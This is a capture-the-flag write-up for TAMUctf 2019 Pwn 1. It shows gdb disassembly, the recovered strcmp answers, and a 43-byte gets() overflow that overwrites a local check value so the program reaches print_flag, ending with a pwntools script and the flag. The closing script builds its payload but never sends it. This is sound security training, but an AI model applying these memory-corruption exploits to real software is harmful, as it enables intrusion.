TAMUctf 2019 Pwn Writeup 1 of 6

7 minute read

Shoutout to my teammates, hackstreetboys represent! — [hsb] ar33zy
Shoutout to my teammates, hackstreetboys represent! — [hsb] ar33zy

Pwn 1 Solution (Difficulty: Easy, 227 pts.)

This challenge tackles basic stack buffer overflow — writing a specific value on the exact address needed.

Let’s try to run the binary.

Whut?!? NAME???

The first part of the program prompted a question, and asked for an input. I initially thought that this was a simple buffer overflow exploit, as what most easy problems in CTFs are.

first challenge + easy difficulty = BOF on the first input -> Control program flow

To check if I can override the return address, which will verify my initial hypothesis, I entered a very long string. Ideally, if this was a buffer overflow exploit problem, a segmentation fault error will be returned.

I got this response.

Difficulty: Easy, but BOF doesn’t work on first try hmm….

It looks like buffer overflow does not work on this input — no SEGFAULT/ERRORS. We need to dissect the binary in order to have a better understanding of the program. Let’s use our favorite debugger, gdb.

First, let’s check the properties of the binary to identify possible techniques we can use.

Canary is disabled, this means we can try to do a stack buffer overflow on this program. The next problem is how can we trigger the exploit. Let’s go back to gdb to find more clues.

Disassembling the main function gives us the following data:

Dump of assembler code for function main:  
   0x56555779 <+0>: lea    ecx,[esp+0x4]  
   0x5655577d <+4>: and    esp,0xfffffff0  
   0x56555780 <+7>: push   DWORD PTR [ecx-0x4]  
   0x56555783 <+10>: push   ebp  
   0x56555784 <+11>: mov    ebp,esp  
   0x56555786 <+13>: push   ebx  
   0x56555787 <+14>: push   ecx  
   0x56555788 <+15>: sub    esp,0x40  
   0x5655578b <+18>: call   0x56555600 <__x86.get_pc_thunk.bx>  
   0x56555790 <+23>: add    ebx,0x1820  
   0x56555796 <+29>: mov    eax,DWORD PTR [ebx+0x44]  
   0x5655579c <+35>: mov    eax,DWORD PTR [eax]  
   0x5655579e <+37>: push   0x0  
   0x565557a0 <+39>: push   0x0  
   0x565557a2 <+41>: push   0x2  
   0x565557a4 <+43>: push   eax  
   0x565557a5 <+44>: call   0x56555580 <[email protected]>  
   0x565557aa <+49>: add    esp,0x10  
   0x565557ad <+52>: mov    DWORD PTR [ebp-0xc],0x2  
   0x565557b4 <+59>: mov    DWORD PTR [ebp-0x10],0x0  
   0x565557bb <+66>: sub    esp,0xc  
   0x565557be <+69>: lea    eax,[ebx-0x1620]  
   0x565557c4 <+75>: push   eax  
   0x565557c5 <+76>: call   0x56555550 <[email protected]>  
   0x565557ca <+81>: add    esp,0x10  
   0x565557cd <+84>: sub    esp,0xc  
   0x565557d0 <+87>: lea    eax,[ebx-0x15b5]  
   0x565557d6 <+93>: push   eax  
   0x565557d7 <+94>: call   0x56555550 <[email protected]>  
   0x565557dc <+99>: add    esp,0x10  
   0x565557df <+102>: mov    eax,DWORD PTR [ebx+0x40]  
   0x565557e5 <+108>: mov    eax,DWORD PTR [eax]  
   0x565557e7 <+110>: sub    esp,0x4  
   0x565557ea <+113>: push   eax  
   0x565557eb <+114>: push   0x2b  
   0x565557ed <+116>: lea    eax,[ebp-0x3b]  
   0x565557f0 <+119>: push   eax  
   0x565557f1 <+120>: call   0x56555530 <[email protected]>  
   0x565557f6 <+125>: add    esp,0x10  
   0x565557f9 <+128>: sub    esp,0x8  
   0x565557fc <+131>: lea    eax,[ebx-0x159f]  
   0x56555802 <+137>: push   eax  
   0x56555803 <+138>: lea    eax,[ebp-0x3b]  
   0x56555806 <+141>: push   eax  
   0x56555807 <+142>: call   0x56555510 <[email protected]> `(1)  
   0x5655580c <+147>: add    esp,0x10  
   0x5655580f <+150>: test   eax,eax  
   0x56555811 <+152>: je     0x5655582f <main+182>  
   0x56555813 <+154>: sub    esp,0xc  
   0x56555816 <+157>: lea    eax,[ebx-0x1584]  
   0x5655581c <+163>: push   eax  
   0x5655581d <+164>: call   0x56555550 <[email protected]>  
   0x56555822 <+169>: add    esp,0x10  
   0x56555825 <+172>: sub    esp,0xc  
   0x56555828 <+175>: push   0x0  
   0x5655582a <+177>: call   0x56555560 <[email protected]>  
   0x5655582f <+182>: sub    esp,0xc  
   0x56555832 <+185>: lea    eax,[ebx-0x1564]  
   0x56555838 <+191>: push   eax  
   0x56555839 <+192>: call   0x56555550 <[email protected]>  
   0x5655583e <+197>: add    esp,0x10  
   0x56555841 <+200>: mov    eax,DWORD PTR [ebx+0x40]  
   0x56555847 <+206>: mov    eax,DWORD PTR [eax]  
   0x56555849 <+208>: sub    esp,0x4  
   0x5655584c <+211>: push   eax  
   0x5655584d <+212>: push   0x2b  
   0x5655584f <+214>: lea    eax,[ebp-0x3b]  
   0x56555852 <+217>: push   eax  
   0x56555853 <+218>: call   0x56555530 <[email protected]>  
   0x56555858 <+223>: add    esp,0x10  
   0x5655585b <+226>: sub    esp,0x8  
   0x5655585e <+229>: lea    eax,[ebx-0x154d]  
   0x56555864 <+235>: push   eax  
   0x56555865 <+236>: lea    eax,[ebp-0x3b]  
   0x56555868 <+239>: push   eax  
   0x56555869 <+240>: call   0x56555510 <[email protected]> `(2)  
   0x5655586e <+245>: add    esp,0x10  
   0x56555871 <+248>: test   eax,eax  
   0x56555873 <+250>: je     0x56555891 <main+280>  
   0x56555875 <+252>: sub    esp,0xc  
   0x56555878 <+255>: lea    eax,[ebx-0x1584]  
   0x5655587e <+261>: push   eax  
   0x5655587f <+262>: call   0x56555550 <[email protected]>  
   0x56555884 <+267>: add    esp,0x10  
   0x56555887 <+270>: sub    esp,0xc  
   0x5655588a <+273>: push   0x0  
   0x5655588c <+275>: call   0x56555560 <[email protected]>  
   0x56555891 <+280>: sub    esp,0xc  
   0x56555894 <+283>: lea    eax,[ebx-0x1534]  
   0x5655589a <+289>: push   eax  
   0x5655589b <+290>: call   0x56555550 <[email protected]>  
   0x565558a0 <+295>: add    esp,0x10  
   0x565558a3 <+298>: sub    esp,0xc  
   0x565558a6 <+301>: lea    eax,[ebp-0x3b]  
   0x565558a9 <+304>: push   eax  
   0x565558aa <+305>: call   0x56555520 <[email protected]>  
   0x565558af <+310>: add    esp,0x10  
   0x565558b2 <+313>: cmp    DWORD PTR [ebp-0x10],0xdea110c8 `(3)  
   0x565558b9 <+320>: jne    0x565558c2 <main+329>  
   0x565558bb <+322>: call   0x565556fd <print_flag> `( Win! )  
   0x565558c0 <+327>: jmp    0x565558d4 <main+347>  
   0x565558c2 <+329>: sub    esp,0xc  
   0x565558c5 <+332>: lea    eax,[ebx-0x1584]  
   0x565558cb <+338>: push   eax  
   0x565558cc <+339>: call   0x56555550 <[email protected]>  
   0x565558d1 <+344>: add    esp,0x10  
   0x565558d4 <+347>: mov    eax,0x0  
   0x565558d9 <+352>: lea    esp,[ebp-0x8]  
   0x565558dc <+355>: pop    ecx  
   0x565558dd <+356>: pop    ebx  
   0x565558de <+357>: pop    ebp  
   0x565558df <+358>: lea    esp,[ecx-0x4]  
   0x565558e2 <+361>: ret      
End of assembler dump.

We can have a basic grasp of what the program does by looking at the function calls of the main function. We can see the flow pattern —

<--- redacted --->  
   0x565557d7 <+94>: call   0x56555550 <[email protected]>  
<--- redacted --->  
   0x565557ed <+116>: lea    eax,[ebp-0x3b] `* (1)  
   0x565557f0 <+119>: push   eax  
   0x565557f1 <+120>: call   0x56555530 <[email protected]>  
<--- redacted --->  
   0x565557fc <+131>: lea    eax,[ebx-0x159f] `* (2)  
   0x56555802 <+137>: push   eax  
   0x56555803 <+138>: lea    eax,[ebp-0x3b]   
   0x56555806 <+141>: push   eax  
   0x56555807 <+142>: call   0x56555510 <[email protected]>  
<--- redacted --->  
<--- after the third cmp check --->  
   0x565558bb <+322>: call   0x565556fd <print_flag> `* (3)

Notable Instructions:

(1) Address where fgets writes the input.  
(2) Address of the string where the first input is being compared to.  
(3) WIN Function - will trigger once the third cmp is satisfied

Sample flow pattern:

puts -> fgets -> strcmp OR -> exit (if cmp failed)  
                        OR -> jmp to next part of the program (until print_flag function / win function)

With this pattern, we can say that this is what happens on the program.

(puts)   - Question  
(fgets)  - User input  
(strcmp) - Comparison of user input and stored string  
(exit)   - Terminates the program if string comparison fails

If all conditions are satisfied, the program executes print_flag function (which is our WIN function).

We can also see that there are more questions asked after the first one, since there are other PUTS-FGETS-STRCMP calls on the program. We can set a breakpoint on the following addresses to check the expected values on each string compare.

0x56555807 <+142>: call   0x56555510 <[email protected]>   
0x56555869 <+240>: call   0x56555510 <[email protected]>   

0x565558b2 <+313>: cmp    DWORD PTR [ebp-0x10],0xdea110c8 

Breakpoint for each string compare

Breakpoint for each string cmp

First breakpoint gives us the answer on the first question:

Answer: “Sir Lancelot of Camelot”

Answer: “Sir Lancelot of Camelot”

We can see that the arguments passed on strcmp is _“First Input”_ (our input) and _“Sir Lancelot of Camelot”_ (stored string).

Answering _“Sir Lancelot of Camelot”_ on the first question leads us to the next question:

We can continue the breakpoint on gdb to get the answer for the second question. The next breakpoint gives us this value:

Answer: “To seek the Holy Grail.”

Answer: “To seek the Holy Grail.”

We can see that the arguments passed on strcmp is _“Second Input”_ (our input) and _“To seek the Holy Grail.”_ (stored string).

Answering _“To seek the Holy Grail.”_ leads us to the final question.

We can do the same thing to get the answer for the final question, continue and go to the last breakpoint.

Uh oh, it seems that this is different from the last breakpoint. :(

Uh oh, it seems that this is different from the last breakpoint.

It seems that this is a bit different from the previous string comparisons. The input, which is _“Final answer”_, is not compared to anything. Instead, 0xdea110c8 is being compared to $ebp-0x10.

0x565558b2 <+313>: cmp    DWORD PTR [ebp-0x10],0xdea110c8

The current value of $ebp-0x10 is:

We need to write 0xdea110c8 to $ebp-0x10 

We need to write 0xdea110c8 to $ebp-0x10 

Somehow, we need to control the value of $ebp-0x10 to proceed to the print_flag function (WIN FUNCTION).

Let’s review what happened on the last input.

Unimportant parts redacted:

   0x565558a6 <+301>: lea    eax,[ebp-0x3b]  
   0x565558a9 <+304>: push   eax  
   0x565558aa <+305>: call   0x56555520 <[email protected]>

This shows the function call for the last user input.

QUICK RECAP: The value of $eax before a function call serves as the first argument of the function.

The code snippet above shows that the user input is written to $ebp-0x3b.

Since the input function used is gets, and not fgets, there is no limit on the input string.

Given the details above, we can write a long string to $ebp-0x3b that will overflow to $ebp-0x10. Take note that $ebp-0x10 should have the exact value of 0xdea110c8.

Let’s compute the distance of $ebp-0x3b and $ebp-0x10:

`0x3b - 0x10 = 43 bytes (offset)`

The payload structure for the last input is:

`payload = <43 bytes buffer>` + `0xdea110c8` 

This payload will overwrite the value of $ebp-0x10 with 0xdea110c8. The last condition will be satisfied and the program will proceed to call the print_flag function.

0x565558b2 <+313>: cmp    DWORD PTR [ebp-0x10],0xdea110c8  
0x565558b9 <+320>: jne    0x565558c2 <main+329> (will not jump)  
0x565558bb <+322>: call   0x565556fd <print_flag> <-- WIN 

Sample exploit code:


from pwn import *

r = remote('pwn.tamuctf.com', 4321)

r.sendlineafter("?","Sir Lancelot of Camelot")  
r.sendlineafter("?","To seek the Holy Grail.")

offset = 43

payload = ""  
payload += "A"*offset  
payload += p32(0xdea110c8)


log.info("Flag: {}".format(r.recvline()))

Flag: gigem{34sy_CC428ECD75A0D392}


Thank you for reading. Hope you learned something from this write-up. Feel free to drop any comments on this one.

— ar33zy